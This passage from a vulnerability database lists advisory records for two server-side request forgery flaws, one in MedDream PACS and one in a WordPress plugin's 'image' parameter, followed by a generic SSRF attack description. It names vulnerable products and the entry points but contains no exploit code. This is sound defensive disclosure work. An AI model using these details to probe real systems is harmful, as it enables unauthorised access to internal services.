"CVE-2025-24485"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-28T14:15:25Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery vulnerability exists in the cecho.php functionality of MedDream PACS Premium 7.3.5.860. A specially crafted HTTP request can lead to SSRF. An attacker can make an unauthenticated HTTP request to trigger this vulnerability.",
"id": "GHSA-w28g-rm5j-24w5",
"modified": "2025-11-03T21:34:11Z",
"published": "2025-07-28T15:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24485"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2177"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2177"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W2HV-73F9-X6QR
Vulnerability from github – Published: 2024-04-30 09:30 – Updated: 2024-04-30 09:30The ZD YouTube FLV Player plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.2.6 via the $_GET['image'] parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-2663"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-30T09:15:07Z",
"severity": "HIGH"
},
"details": "The ZD YouTube FLV Player plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.2.6 via the $_GET[\u0027image\u0027] parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-w2hv-73f9-x6qr",
"modified": "2024-04-30T09:30:46Z",
"published": "2024-04-30T09:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2663"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/zd-youtube-flv-player"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f6f26854-7e25-4e64-9f03-916ece6fde03?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.